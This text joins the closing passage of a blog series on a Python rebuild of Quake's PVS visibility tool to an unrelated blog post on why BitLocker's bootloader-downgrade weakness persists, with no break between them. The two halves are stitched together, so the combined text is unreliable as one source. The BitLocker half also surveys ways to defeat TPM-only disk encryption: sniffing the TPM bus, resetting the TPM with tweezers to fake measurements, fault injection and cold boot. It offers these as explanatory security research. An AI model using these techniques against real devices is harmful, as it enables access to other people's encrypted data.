One thing that can look worrying at a first glance is the fact that the graph has cycles but the traversal can visit leaves many times. In practice it’s not a problem because the progressively thinning mightsee array stops the traversal before it gets stuck in a loop.

Process simpler portals first

Let’s talk about an important performance optimization next. We call portal_flow for each portal in “complexity” order. In this case, portal’s “complexity” means how many leaves were estimated to be possibly visible in the coarse pass. Portals with small numbers are processed first.

This is the part of the above code where the stricter vis array is used instead of the lax mightsee results:

      # Use the final visibility array if the portal has been processed
      if portal_done[pt]:
        test = Pt.vis
      else:
        test = Pt.mightsee

      # Filter away any leaves that couldn't be seen by earlier portals
      might = np.bitwise_and(mightsee, test)

The big idea is that portals leading to smaller areas have been done earlier, so larger areas can use their final results for early outs.

Leaf visibility through portals

Each leaf can see other leaves only through its portals. That’s why a leaf’s potentially visible set is the union of its leaving portals’ PVS’s.

portal
 1 . x x . x x x x . . x 
 2 x . . . . . . . . . . 
 3 . . x x x x x x . . x 
 4 x x . . . . . . . . . 
 5 . . . . x x x x x . x 
 6 x x x . . . . . . . . 
 7 . . . x . x x x . . x 
 8 . x x . . . . . . . . 
 9 . . . . . x x x . . . 
10 . . x x . . . . . . . 
11 . . . . . x x x x . x 
12 x x x . x . . . . . . 
13 . . . . . . x x x . x 
14 x x x x x x . . . . . 
15 . . . . . . . x x . x 
16 x x x x x x x . . . . 
17 . . . . . . . . . . x 
18 x x x . x x x x . . . 
19 . . . . . . . . x x . 
20 . . x . x x x x . . . 
21 . . . . . . . . . x x 
22 . . . . . . . x x . . 
23 . . . . . . . x . . x 
24 . . . . . . . . x x . 
   1 2 3 4 5 6 7 8 91011 leaf

The resulting leaf-to-leaf visibilites are represented by a square boolean matrix I dubbed final_vis:

leaf
 1 x x x . x x x x . . x 
 2 x x x x x x x x . . x 
 3 x x x x x x x x x . x 
 4 . x x x . x x x . . . 
 5 x x x . x x x x x . x 
 6 x x x x x x x x x . x 
 7 x x x x x x x x x . x 
 8 x x x x x x x x x x x 
 9 . . x . x x x x x x x 
10 . . . . . . . x x x x 
11 x x x . x x x x x x x 
   1 2 3 4 5 6 7 8 91011 leaf

You can see the intermediate portal_vis matrix on the left. In these the symbol x means visibility.

Taking the union of sets represented as boolean arrays or bitvectors can be done with the logical OR operation. We loop over portal_vis’s rows and OR the per-portal results to per-leaf rows of the final_vis array that gets written to the BSP file.

# Compute final per-leaf visibility
final_vis = np.zeros((num_leaves, num_leaves), dtype=bool)

for li, leaf in enumerate(leaves):
  for pi in leaf.portals:
    np.bitwise_or(final_vis[li], portal_vis[pi], out=final_vis[li])
  final_vis[li, li] = True  # leaf is visible to itself

In the game

The vis tool writes the final leaf-to-leaf visibility matrix straight into to the already-compiled mapname.bsp file. The serialization code packs the the matrix rows first to a series of bitvectors, and then compresses each with run-length encoding that skips repeated zero bytes.

In the game, decompression is done on demand. Therefore the full matrix is never fully loaded in memory.

Enjoying the results

It’s a great feeling to go from some portals loaded in a Python program

to the actual game!

Here’s also a low-quality video of the example map’s PVS. Unfortunately, I’ve yet to process the full E1M1 with vis.py since it’s so slow.

Making it faster

I have to admit that vis.py is very slow. There’s still room for some optimizations.

The first is multiprocessing. It’s simple to process each portal in parallel. This was already done in the original vis that ran on a four-core DEC Alpha server. In Python this could be done with the standard library’s worker pool and a shared memory array that’s fed as the backing storage to numpy arrays via np.frombuffer

From ericw-tool’s vis.cc and flow.cc files we can find some new tricks:

• Bounding sphere tests for portals to avoid testing all their points.
• Filtering the mightsee arrays quicker. Occasionally during fine visibility leaf traversal, every other portal is tested against the current source-pass portal sequence. The approach bears some similarity to Doom 3’s simpler PVS introduced in the next section.
• Caching: Their separator clipping code resus some planes from earlier tests. It’s unclear to me how exactly it works.

In C and C++ implementations, the recursion stack is managed manually. I’m not sure if that would be a win in Python code though.

Looking back

Precomputed visibility made it possible for Quake maps to have more polygons with stable framerates. It didn’t eliminate overdraw but kept it at a manageable level at minimal runtime cost.

Even though Seth Teller’s 1992 dissertation already presents a method for static precomputed visibility (and John Airey in 1990), it was a late addition to Quake. Originally the BSP tree was chosen to render the world front to back with a beam tree, but in the end was used to partition the world for the PVS and do collision testing. A BSP tree can be traversed in visibility order but this property was not needed at all, since Quake’s span renderer resolved visibility on its own anyway.

The PVS stuck around a long time in Quake’s sequels and other game series such as Half-Life and Counter-Strike. Even today you can compute something like that in Unreal Engine 5.

Is the PVS a good idea?

Workflow-wise, it’s not great. Level designers always have to wait before they see how well a map performs in game. They also need to think about irrelevant technical concepts such as hint brushes. Quake’s tools also expect a map to be perfectly sealed; watertightly split in interior and exterior sides. Breaking this assumption results in errors about “leaks” that makes the PVS computation fail. I don’t think anyone misses those.

Marketing-wise, high visual fidelity is great. Quake was obviously targeted to make a splash with its solid, texture-mapped 3D worlds. A stable framerate helps to sell the illusion. Since engineering is always about tradeoffs, it meant the worlds had to be static and the level designers patient. Slow iteration times might have made the game design less ambitious, resulting in a worse product. The game’s development was troubled in any case, and it’s not clear if faster map compilation speeds would’ve improved the situation though.

What if you compute the PVS real fast?

Apparently in Doom 3 they went with hand-placed portals tested at runtime and a level load-time PVS. The coarse pass is similar to Quake but the fine pass is quicker.

First they precalculate what portals are possibly visible through any pair of source and pass portals. In the code this per-portal-pair array is called a “passage” and is computed with separating planes and clipping like in Quake. When it’s time to recursively flood through the portal graph, no clipping needs to be done. Instead they check in the passage arrays if a target portal can be seen through the current source and pass portals. The set of possibly visible portals gets sparser as the recursion progresses, like the mightsee array did earlier.

Overall the whole process appears really fast. I searched for its debug log messages online and found this 2007 result for the game/erebus1 map:

512 bytes passage memory used to build PVS
1 msec to calculate PVS
36 areas
60 portals
6 areas visible on average
288 bytes PVS data

Only 60 portals! In comparison, Quake’s first map has 3077 portals. Waiting milliseconds during loading sure is better than hours during map compilation. Of course, the level designers are now responsible for placing the portals and levels still have to be sealed.

It’s intriguing to think how the Doom 3 approach would’ve worked in Quake. In complex vistas you’d still need to clip many portals, but you’d have the PVS there to help and fewer portals overall. Would make a great retro research project! :) See the end for relevant source code references.

Farewell

For me personally, writing vis.py was very educational. I had to learn how to really work with plane equations, read up on portals, and exercise my debugging skills. Making my code easy to read and writing about it forced me to clarify many details, which wouldn’t have happened by just reading some code.

Finally, I hope you found this series helpful, inspirational, and perhaps even entertaining. Even if you’re not rolling your own vis, now you should appreciate where it came from and why. Computer graphics was and still is a great field for inventors.

Resources for development

The vis.py repo is on GitHub. A local copy: vis_py.zip.

• TrenchBroom for level editing.
• ericw-tools for compiling maps.
• The original vis source code with Fabien Sanglard’s commentary.
• Michael Abrash’s Black Book chapters 59–70
• Video: Quake’s PVS: A hidden gem of rendering optimization
• Video: BSP Trees: The Magic Behind Collision Detection in Quake
• Video: Excerpt: Quake Postmortem - Optimizing Level Viewing (original)

Some links to Doom 3’s portal and PVS implementations. The code uses the term “area” instead of a “leaf” since they now refer to not-necessarily-convex cells.

• Runtime portal testing with clipping. Screenspace rectangles are tracked only for graphics API’s “scissor” tests.
• The PVS init function gives an overview of the process.
• The coarse PVS pass should look familiar.
• Passage precomputation. Note that confusingly, the pass portal is called “target” here and the portal “p” is the one getting clipped.
• Finding separating planes using the algorithm described in the third part of this series.
• Fine PVS pass.
• Resolving the final PVS. It stores both visible areas and portals.

Map and portal data

Here are two test maps I made. Note that portal and leaf indexing starts at zero in these files. In this article series I’ve used one-based indexing in diagrams and worked-out examples.

The example map

• example.map for TrenchBroom
• example.prt exported portals
• example.bsp exported BSP

The first rooms of E1M1

I botched the door speed here, sorry about that.

• e1m1_opening.map for TrenchBroom
• e1m1_opening.prt exported portals
• e1m1_opening.bsp exported BSP

Acknowledgements

Thanks to the usual suspects for proofreading and good commentary on early drafts. Thanks to the HN commenter dahart for bringing up the UE5 PVS. Finally, thank you J for encouraging me pursue my crazy projects.

I’m also thinking of writing a book. Sign up here if you’re interested.

This Blogpost is an addition to Windows BitLocker — Screwed without a Screwdriver. In that post, we looked at how easy it is to break into BitLocker’s default “Device Encryption” configuration on up-to-date Windows systems by simply downgrading the Windows Bootloader.

One significant question that we haven’t yet addressed is: Why is this possible? Why hasn’t Microsoft fixed this yet? The answer is both simple and complicated. I fell into a rabbit hole investigating this and will share my findings here. I’ll first lay some groundwork on how Secure Boot and the TPM work, discuss PCRs and which one you might use for BitLocker, and explore the ecosystem’s future with SVT, SBAT, and key rotations that might brick your motherboard.

Secure Boot - How does it even work?

To understand the challenge of fixing the bootloader downgrade issue, we first need to explore how Secure Boot works and how it interacts with BitLocker. The first concept you need to know are “Measurements”. Measurement are for example: “I am now booting a bootloader with hash XYZ”, or “The Floppy-Drive is my default boot device.”

Using those, the secure booting process has two components: Measured Boot and Verified Boot.

Measured Boot records the integrity of the booted system, in a way that others can verify it. It records all boot components and allows the implementation of features like remote attestation, or that only trusted Windows boots can unlock BitLocker.

Secure/Trusted/Verified Boot runs integrity checks, and makes decisions about what is allowed to boot. This runs on different levels, and can be called different names depending on the context. For example, with Secure Boot, only binaries signed by Microsoft are allowed to boot. In practice, two default certificates are installed on pretty much everything:

• Microsoft 1st party certificate, which signs all Windows bootloaders
• Microsoft 3rd party certificate, which signs everything else we commonly understand to boot under Secure Boot, like Linux shims.

Further, Secure Boot distinguishes two boot-phases: the boot phase and the post-boot environment:

Boot phase: This includes everything from early boot up to running the OS — platform initialization, UEFI, early PCI-init, linux-shim, the bootloader. In the eyes of Secure Boot the integrity of these components is very important and nothing used in this phase should be malicious or vulnerable.

Post-boot environment, or runtime environment RT. It starts with the execution of the operating system kernel. While Secure Boot still applies protections here, this phase is considered less critical for the scope of Secure Boot. Operating system kernels are massive and inherently more vulnerable, and protections here are more “best effort.” For example, as we’ve seen during our lockdown bypass, the Linux kernel on Microsoft-signed distributions goes into lockdown mode automatically to protect against compromise, but this is bypassable.

To achieve these goals, Secure Boot relies on a “trusted” measurement device: the Trusted Platform Module (TPM). TPMs come in two variants: firmware-based (fTPM), which is integrated into the CPU’s management code, or discrete hardware-based (dTPM), which is a separate chip on the motherboard. Additionally, there are two major protocol variants, 1.2 and 2.0. They are similar-ish enough for our purposes, so we can ignore the differences here. The two most relevant functionalities for us are Platform Configuration Registers (PCRs), which keep track of the measurements, and the ability to perform cryptography based on established rules. Let’s look at those two more in detail:

Platform Configuration Registers (PCRs)

A Platform Configuration Register stores a hash, commonly sha256. There is no way to directly set a PCR to a specific value. Instead, we have to add “measurements” to them. This process involves combining the existing PCR content with a new measurement, hashing the result, and storing it back in the register. Additionally, each measurement is stored in an Event Log outside the TPM:

By reading the Event Log and the PCR content, we can verify that all events in the event log were actually measured in the PCR and that no events are missing. Most platforms have 24 PCRs, with the first 8 used during the “early boot” phase. Notably, the first 16 cannot be reset except during a cold reboot. Once a measurement is hashed into one, it cannot be removed.

Here is what PCRs look like on a Windows 11 machine after boot:

As you can see, only the early-boot PCR0-7 and PCR11-14 are in use.

How does data get into PCRs? The boot process of modern computers is really quite involved. There are lots of different components from different manufacturers loading each other. A simplistic view might be:

1. Platform
2. UEFI
3. Bootloader
4. Kernel

Each of those components adds its own measurements. Simplified: There is a root of trust in the CPU. That is used to verify the first stage, the platform. The platform then hashes and/or signature-verifies the UEFI. The results are “measured” into PCR registers. It then adds a “separator” into all PCRs and hands execution off to the UEFI if verification succeeds. The UEFI now performs the same process for the bootloader, which in turn checks the kernel. This creates a trust chain, where each component verifies and measures the next one. As long as each component in the chain is trusted, everything is fine. But one component can never lie about itself, since the component before it took the hash.

Alright, that’s all fine and good, but what exactly goes into the PCRs?

What goes in which PCR?

Great question! It’s not easy to answer satisfactorily without devoting an entire blog post to this. So, let’s link some more detailed resources, in case you’d like to dig deeper. For the early-boot PCRs, there are specs: TCG_EFI_Platform_1_22_Final_-v15.pdf and TCG PC Client Platform Firmware Profile Specification (e.g., look for “Design Consideration and Distinctions Between PCR[0], PCR[2], and PCR[4]”). Another helpful high-level overview is provided in the Tianocore Documentation. While the exact contents differ from platform to platform, here’s a general breakdown of PCR contents:

• PCR0 measures the manufacturer-provided firmware executable (e.g., UEFI, embedded UEFI drivers)
• PCR1 measures the manufacturer-provided firmware data (e.g., microcode, ACPI Tables, Boot-Order)
• PCR2 measures the user-configurable firmware code (e.g., PCI cards)
• PCR3 measures the user-configurable firmware data (e.g., PCI cards)
• PCR4 measures the bootloader code (usually from disk)
• PCR5 measures the bootloader data (usually from disk)
• PCR6 measures manufacturer-specific stuff (e.g., resume events from S4 or S5 power state events)
• PCR7 measures the Secure Boot state
• PCR11 is an OS-specific PCR. In Microsoft’s case, the bootloader uses it to “lock” VMK key derivation when booting the operating system. No process after the Microsoft bootloader can ever unseal a correct VMK via the TPM.

A great resource to learn more about PCR measurements is by examining the specific values on your system. Each measurement corresponds to an entry in the Event Log, which can be viewed using system tools:

• Windows: Use tpmtool.exe.
• Linux: Use tpm2-tools to run sudo tpm2_eventlog /sys/kernel/security/tpm0/binary_bios_measurements.

Lets briefly look at some relevant events.

1. The platform measures the firmware code into PCR0:

- EventNum: 2
 PCRIndex: 0
 EventType: EV_EFI_PLATFORM_FIRMWARE_BLOB
...

2. The platform measures that secure-boot is enabled into PCR7:

- EventNum: 3
 PCRIndex: 7
 EventType: EV_EFI_VARIABLE_DRIVER_CONFIG
 DigestCount: 2
 Digests:
 - AlgorithmId: sha1
 Digest: "d4fdd1f14d4041494deb8fc990c45343d2277d08"
 - AlgorithmId: sha256
 Digest: "ccfc4bb32888a345bc8aeadaba552b627d99348c767681ab3141f5b01e40a40e"
 EventSize: 53
 Event:
 VariableName: 8be4df61-93ca-11d2-aa0d-00e098032b8c
 UnicodeNameLength: 10
 VariableDataLength: 1
 UnicodeName: SecureBoot
 VariableData: "01"

3. EFI Boot drivers are measured into PCR2:

- EventNum: 12
 PCRIndex: 2
 EventType: EV_EFI_BOOT_SERVICES_DRIVER
...

4. UEFI application is measured into PCR4:

- EventNum: 17
 PCRIndex: 4
 EventType: EV_EFI_BOOT_SERVICES_APPLICATION
...

5. A “separator” is hashed into all PCR0-6, so no later component can “fake” more measurements and pretend an earlier component made them:

- EventNum: 35
 PCRIndex: 0
 EventType: EV_SEPARATOR
...

6. The Secure Boot Database is measured into PCR 7:

- EventNum: 45
 PCRIndex: 7
 EventType: EV_EFI_VARIABLE_AUTHORITY
...
 Event:
...
 UnicodeName: db

In total, there are around 100 different measurements on my device.

TPM Cryptography

Alright, now that we have filled the PCRs with those magic numbers and roughly know what they represent, what can we actually do with them?

This is where the TPM’s cryptographic capabilities come into play. We can encrypt (or “seal”) values with the TPM, and apply a policy to only unlock those values when certain conditions are true. For instance, we could create a policy that only allows unsealing a key when PCR7 has a specific value or if the user provides a specific password. We can also combine multiple of those rules into a single policy.

BitLocker makes extensive use of that. The encrypted secrets themselves aren’t stored on the TPM, so they don’t take up precious high-security storage space. Instead, the TPM is used to validate the decryption request. You provide the encrypted key to the TPM, and if the policy conditions are met, the TPM unseals the data. If the policy doesn’t match, the request fails. In case of BitLocker, there is a great blogpost digging into how that looks exactly: A Deep Dive into TPM-based BitLocker Drive Encryption .

Selection of PCRs for Microsoft BitLocker

Great! We can use a TPM policy to unseal our VMK! But how do we determine the “correct” policy for this? Should we require a user password? Should we just use all available PCRs or select some? BitLocker gives you flexibility here. It can require a preboot password from the user or rely entirely on PCR values for automated unlocking. The latter is “easier” to use since users don’t have to remember and enter an additional password for each boot (very convenient). However, it is also less secure: If an attacker can manipulate the PCR values to match those of a legitimate environment, they could potentially derive the VMK.

On enterprise Windows, Microsoft BitLocker can be configured to use any PCR you like. It’s always a tradeoff between security and usability. Say, we seal the VMK to the value of PCR4, the bootloader code. Then, any bootloader update at any time will render the disk unable to automatically unseal, requiring the user to input the recovery password. To handle anticipated changes in the PCR values, we have some options. For example, we could:

1. Disable BitLocker protection temporarily just before the reboot, then reboot once, and then reseal the VMK to the new PCR values. This will leave the disk unprotected for a short while.
2. Simulate the expected PCR changes, then seal the VMK to the new values before rebooting. This method depends on the accuracy of the simulation :)

Luckily, most bootloader updates are handled via the Windows update function, giving Microsoft an opportunity to ensure the process goes smoothly. However, this has limits, as Microsoft doesn’t control much of the code that makes the measurements. Say, for instance, there is a UEFI update available. This will definitely cause PCR0 to change, as this contains the hash of the UEFI firmware. But the now updated UEFI is responsible for measurements itself. A firmware vendor could make changes to the measurement order or modify other PCR-related events in such an update. This makes predicting the outcome much more challenging.

Further complications arise when users manually update their BIOS or apply updates using third-party motherboard software. Enterprise-level threat detection tools can also interfere. Essentially, PCR values aren’t guaranteed to be stable across all systems. While there are systems where that works perfectly, if you are Microsoft and have millions of customers with devices, some will behave weirdly.

With that in mind, let’s consider the two variants of PCRs Microsoft used in the past:

• Legacy configuration: PCR 0,2,4,11. This locks the code of all UEFI, PCI cards, and bootloader via their respective hashes. Every upgrade or downgrade would cause a mismatch, forcing a recovery key promt.
• Current configuration: PCR 7,11 and Secure Boot-based. Relies on Secure Boot (PCR7) for stability and PCR11 for the custom “lockout” mechanism that ensures no one beyond the bootloader can unseal the VMK. While less secure than the legacy configuration, this approach is more user-friendly and recovery-resistant.

Microsoft explains their reasoning in this documentation

Modern Standby hardware is designed to reduce the likelihood that measurement values change and prompt the customer for the recovery key.

For software measurements, Device Encryption relies on measurements of the authority providing software components (based on code signing from manufacturers such as OEMs or Microsoft) instead of the precise hashes of the software components themselves. This permits servicing of components without changing the resulting measurement values. For configuration measurements, the values used are based on the boot security policy instead of the numerous other configuration settings recorded during startup. These values also change less frequently. The result is that Device Encryption is enabled on appropriate hardware in a user-friendly way while also protecting data.

For some additional reading on challenges related to PCR selection, I recommend a discussion around usage of PCR0 in fwupd, and some more writing by Lennart Poettering on the Future of Encryption in Fedora desktop variants.

A Wild Patch Appears - The PCR4 Scare

At one point during my research, when I had just gotten the BitPixie Exploit to work, I shared it with a coworker who wanted to reproduce the results. I have to admit - my documentation wasn’t great but even when discussing the issues, the exploit just wouldn’t work for him. Turns out: Microsoft had rolled out a patch to re-include PCR 4 into the default Device Encryption configuration! They had even migrated the TPM protectors on devices that applied the update, from PCR 7,11 to PCR 4,7,11. They had done this as a reaction to CVE-2024-38058, “BitLocker Security Feature Bypass Vulnerability”.

With this, they pinned the bootloader by both hash and Secure Boot status. Downgrades were still possible, but the TPM would refuse to unseal the VMK, since PCR4 would mismatch. But recall what we said earlier? How might we not want PCR4 as this increases the likelihood of BitLocker recovery screens when the automated unlock fails for some reason? Well…

This has made a lot of people very angry and been widely regarded as a bad move

So, just one month later, they undid the fix!

Why was the fix for this vulnerability disabled and how can I apply protections to address this issue?

When customers applied the fix for this vulnerability to their devices, we received feedback about firmware incompatibility issues that were causing BitLocker to go into recovery mode on some devices. As a result, with the release of the August 2024 security updates we are disabling this fix. Customers who want this protection can apply the mitigations described in KB5025885.

This is an excellent example of why it is so complicated for Microsoft to fix this class of issues: Anything they change will break at least some systems.

Secure Boot Certificates

One way in which Microsoft could make changes is through Secure Boot certificates. Secure Boot is in its own little ecosystem there.

Only specifically signed programs can boot when Secure Boot is enabled in UEFI. This is done with a certificate chain and a full key hierarchy. It starts off with a “Platform Key” that is embedded in the firmware:

• PK - PlatformKey. Vendor controls this, usually rsa2048. Manages KEK.
• KEK - Key Exchange Key, rsa2048.
  • Could directly sign bootable content, usually doesn’t.
  • Can update DB and DBX.
• DB - Signature Database. List of sha256hash OR rsa2048 public keys of certs, that are ALLOWED to run.
• DBX - Database of FORBIDDEN hashes/signatures.

On Linux, when using shim, we additionally have:

• MOK - Machine Owner Key. List of hashes/pubkeys. User can provide this.
• MOKX - Machine owner deny list.

On almost all devices, the default Microsoft certificates are enrolled:

• 1x KEK from Microsoft: Microsoft Corporation KEK CA 2011
• 2x DB key from Microsoft:
  • 1st party cert: Microsoft Windows Production PCA 2011 (used for signing Microsoft 1st party bootloaders)
  • 3rd party cert: Microsoft UEFI CA 2011 (used, e.g., for Linux shim, a Linux UEFI secure boot compatible bootloader)

This creates two “classes” of signed bootloaders: Windows native and “other”. PCR7 contains a measurement with the following information: (1) secure boot is enabled, (2) both the available secure boot keys and revocations, and (3) which certificate was actually used to sign the bootloader. This makes it easy for Microsoft to make the distinction that all legit Windows bootloaders (i.e., those signed with PCA2011) can unseal BitLocker disks, whereas no other bootloader is allowed to do so.

In case you want to customize the contents of your Secure Boot setup, there is a document by the NSA that goes a lot deeper here: UEFI Secure Boot Customization. It discusses the trust chain, what each signing component does, and how you might update PK/ KEK/ DB/ DBX/ MOK/ MOKX.

Revocations, They Scream!

We have a certificate-based system, right? Isn’t revocation a thing? If we have a known vulnerable bootloader, can’t we just revoke it? Shouldn’t this be solved? Well, yes! It would be great if we could revoke all vulnerable bootloaders. In fact, we could! That is precisely what the DBX database is for. Except… The standard doesn’t really consider those kinds of mass-revocations. The space available for revocations is quite limited, usually 32kB. All of the Microsoft bootloaders are signed by the same certificate, so we cannot just revoke some intermediate-cert. If we want to revoke every old Microsoft bootloader for the last 15 years (as they all have this bug), we would need to revoke every single signature. There is no version-based revocation or the like in the specification!

And that’s not all! Microsoft has to share that sparse revocation space with all 3rd party revocations, as we can see from a comment in the shim documentation:

As part of the recent “BootHole” security incident CVE-2020-10713, 3 certificates and 150 image hashes were added to the UEFI Secure Boot revocation database dbx on the popular x64 architecture. This single revocation event consumes 10kB of the 32kB, or roughly one-third, of revocation storage typically available on UEFI platforms. Due to the way that UEFI merges revocation lists, this plus prior revocation events can result in a dbx that is almost 15kB in size, approaching 50% capacity.

All official Microsoft DB/DBX contents are available on GitHub, with an amazingly detailed writeup by auscitte of how they get rolled out.

But wait! What is stopping us from revoking the primary cert? As it turns out, nothing! (*well, actually, quite a lot, but in theory…)

A Way Forward: Rolling the Secure Boot Certificates (KB5025885)

Microsoft controls the KEK on most devices and could, as such, update both the DB and DBX databases at will. In fact, this is precisely what their recommended solution (KB5025885) to these issues does: Blacklist the old PCA2011 certificate, and add a new 2023 one to DB. Microsoft already offers bootloaders signed with the new key. If you opt-in, downgrades to older bootloaders are no longer possible.

This has some usability issues, though. Old boot media will fail to boot, making it more difficult to recover such a system. Also, DB/DBX updates on this scale have never been done. There are, for sure, scruffy vendors out there that will have bugs when the primary Microsoft keys are revoked. There is a section of known issues in the KB (they don’t go into details about the issues, though).

Making changes to Secure Boot, with a lot of vendor UEFIs in the mix that might not be entirely up-to-spec, and rolling Secure Boot certificates, which has never been done at scale before… I’m sure this will just work splendidly! Though, in all honesty, I wish them the best of luck.

This issue with dwindling revocation space coincides with the expiration of the old certificates in October 2026, so Microsoft has to roll them anyway. Old systems will likely continue to boot, even with expired certificates but they might not get the latest security patches. More great info on this whole rolling Secure Boot keys plan is available in form of a presentation by Microsoft engineers held at ‘UEFI Fall Conference’ in October 2023: Evolving the Secure Boot Ecosystem. They have excellent quotes such as

Some OEM specific firmware implementations prevent updates to the Secure Boot variable store or brick a system entirely.

That’s Not Enough! The KEK Expires as Well!

Well, shit. DB and DBX updates of our signing keys aren’t enough, the KEK expires in 2026 as well. If Microsoft wants to keep the ability to make DB/DBX updates, they’ll need to roll the KEK as well. However, that can only be updated by the Platform Key PK, which vendors hold. -> This requires the help of all vendors. If they have trashed their keys, better hope there is a way to replace them! Going back to the UEFI presentation linked earlier:

In fact some number of devices will likely become un-serviceable due to this event.

What Microsoft likely means here is that some platforms simply can’t receive DB/DBX updates — not that they won’t boot at all. It helps explain why the issue remains unresolved: Microsoft has neither announced a concrete timeline for a fix nor stuck to a single plan, and any course of action is bound to generate negative press in the coming years. The added security benefits are difficult to explain, and secure boot already faces resistance from many users.

How to Prevent This Going Forward: SVN

Rolling certs is all well and good, but how do we prevent the same issue of a lack of revocation space in the future? SVN! No, not subversion, Secure Version Number. This is a rollback protection that does not rely on certificate revocations, implemented in the bootloader itself. Little public information is available, as far as I know, but the plan seems similar to what Linux is planning with SBAT, described in the next section.

The main idea is that UEFI has a bit of storage in non-volatile memory, that a bootloader can use to store data. Further, the bootloader can specify that only the boot environment is allowed to access/write that data. Those variables are locked down as soon as we exit the boot phase and enter the runtime environment. This makes it possible for a bootloader to have a “Secure Version Number” that can be compared to the one stored in NVRAM. When the own number is greater, store the greater number. When it is lower, refuse to boot.

This makes it possible to revoke a whole class of bootloaders at once, without having to deal with certificates or revocations. This opens up new attack surfaces and ideas where an attacker might be able to influence this NVRAM, reset contents, and get old bootloaders to boot anyway. Yet, it is still strictly better than the old solution, which is not to be able to revoke known vulnerable bootloaders at all. Bootloaders installed after applying KB5025885 already support SVN. Every time the SVN is bumped, all old boot media, containing an old bootloader with old SVN, will refuse to boot on updated systems. However, this is fully intended here.

The Linux Side of Things: SBAT

Let’s now look at the Linux side of things, just for giggles. Could changes be coming here as well?

The most notable change is the introduction of SBAT (Secure Boot Advanced Targeting). This is the Linux shim equivalent of Microsoft’s SVN, and is already enforced in most distributions. The best documentation on SBAT is available from the shim documentation. The rough idea is similar to the SVN: We want to be able to revoke much more easily.

At the time of this writing, revoking a Linux kernel with a lockdown compromise is not spelled out as a requirement for shim signing. In fact, with limited dbx space and the size of the attack surface for lockdown it would be impractical do so without SBAT. With SBAT it should be possible to raise the bar, and treat lockdown bugs that would allow a kexec of a tampered kernel as revocations.

SBAT has already been rolled out, so we can briefly examine how it looks in practice.

For example, the current Debian Shim includes the following (hardcoded) SBAT limits:

sbat,1,2022052400
grub,2
sbat,1,2023012900
shim,2
grub,3
grub.debian,4

When shim boots grub, it reads first checks the signature. If it checks out, it reads the metadata contained in grub itself to see what security level Grub advertises. If it is lower than expected, it refuses to boot. In grub metadata, this looks like:

sbat,1,SBAT Version,sbat,1,https://github.com/rhboot/shim/blob/main/SBAT.md
grub,3,Free Software Foundation,grub,2.12~rc1,https://www.gnu.org/software/grub/
grub.debian,4,Debian,grub2,2.12~rc1-3,https://tracker.debian.org/pkg/grub2
grub.debian13,1,Debian,grub2,2.12~rc1-3,https://tracker.debian.org/pkg/grub2
grub.peimage,1,Canonical,grub2,2.12~rc1-3,https://salsa.debian.org/grub-team/grub/-/blob/master/debian/patches/secure-boot/efi-use-peimage-shim.patch

In this case, we have grub version 3 and grub.debian version 4, so are allowed to boot. The SBAT versions that the shim checks against itself are stored in NVRAM again:

Note that these SBAT values can be written by any bootloader. Microsoft recently, in their 08/24 security update, updated the sbat values to revoke vulnerable grub bootloaders. This caused a lot of problems for folks with dual-boot setups. Their Linux, previously booting fine, suddenly refused to boot after applying a Windows background update, with an inscrutable error message: Verifying shim SBAT data failed: Security Policy Violation (Can’t boot Debian 12. Security Policy Violation).

One other issue that came up again with SBAT was the recent push towards eliminating bootloaders and directly booting into a Linux kernel. This concept, known as the “unified kernel image” (UKI), offers several advantages. However, it also exposes some challenges. The upstream Linux kernel community often takes the stance that only the latest version of each tree is secure. This led to an extensive discussion on mailing lists and LWN. If you are in need for some good quotes, go and read LWN: Much ado about SBAT. The issues surfaced there are indeed quite complex: Who determines this security version number? Patches might get downstreamed non-linearly, so it’s hard for a single number to capture the complexity of security. What bug is “severe” enough to warrant a bump in that number?

If you want to dig deeper into unified-kernel-images and Linux booting in general, a good starting point are some resources by Lennart Poettering: Brave New Trusted Boot World, a discussion on LWN about that, as well as some forum posts here.

Sidenote: Machine Owner Keys: When you read about Linux Secure Boot, sooner or later you’ll come across Machine Owner Keys, or MOKs. These keys enable users to add custom signing keys into a Linux Shim, allowing secure boot for custom kernels or kernel modules. The MOK itself is stored in this same NVRAM section as the SBAT and SVN data. Changes to the MOK can only be made through the MOKManager, which is executed before entering the runtime environment where the Linux kernel starts. This separation ensures the MOK is protected even from kernel-level changes. However, if you use a default Ubuntu signed shim and install your own MOK, you are still relying on the Microsoft 3rd party certificate.

Other Attacks Against BitLocker

To wrap up this research, let’s revisit BitLocker and explore other potential attack vectors. While the following list is not exhaustive, it highlights the complexity of achieving secure TPM-only encryption. Some more are detailed in Wack0’s excellent GitHub repository on BitLocker attacks, which served as inspiration for this exploration.

The list here is incomplete, but it gives a good overview of just how difficult TPM-only encryption is to get right. There are three main exploit categories:

1. Attack the bootloader or Windows after it has unsealed the key. For example, consider CVE-2022-41099 – Analysis of a BitLocker Drive Encryption Bypass. This vulnerability exploited a flaw in the Windows recovery environment. By resetting the computer and choosing to “remove everything,” an attacker could reset the system at approximately 98% progress, bypassing encryption safeguards. Thankfully, this issue has been patched in all updated systems, as the flaw was relatively straightforward to fix.
2. ”Reset” PCR states, while retaining code execution. There are both hard- and software attacks that allow resets to the PCR registers, which could then be filled with bogus measurements.
3. Break or compromise the TPM hardware. Directly attack the TPM chip to access key material, or unlock with wrong policies.

TPM hardware attacks

As far as hardware attacks go, your have to distinguish between discrete (dTPM) and firmware (fTPM). Discrete TPMs are a separate chip on the board, and can be much more easily accessed.

dTPM: Just sniff the bus! It is unencrypted, and transfers the BitLocker VMK in plaintext.

• YouTube/StackSmashing: Breaking Bitlocker - Bypassing the Windows Disk Encryption
• This could be patched with TPM parameter-encryption. I don’t know why it is not. Maybe because it wouldn’t give you much because of the next attack:

dTPM: While the system is offline, power on just the TPM and put arbitrary values on the bus. You can unseal anything you know PCR measurement logs for.

dTPM: While the system is running, reset the TPM by pulling either power or reset pins low. This can be done with a set of tweezers.

• -> All PCRs are 0 while the OS is running.
• Then, running OS can measure arbitrary values gathered from TPM event logs to fake arbitrary PCR states, and unseal with them.
• TPMs Hate Him! (Some Weird Tricks To Break FDE and Bypass Attestation).

fTPM: Has known fault-injection attacks on AMD (faulTPM)

• faulTPM: Exposing AMD fTPMs’ Deepest Secrets
• ”Our results show that when an fTPM’s internal state is compromised, a TPM and PIN strategy for FDE is less secure than TPM-less protection with a reasonable passphrase.”

Cold boot attack: Leak key from RAM after bootloader unsealed it, by resetting the PC and booting into something else.

• Microsoft says: “To defend against malicious reset attacks, BitLocker uses the TCG Reset Attack Mitigation, also known as MOR bit (Memory Overwrite Request), before extracting keys into memory.”
• This relies on UEFI implementing this overwrite request correctly, though.
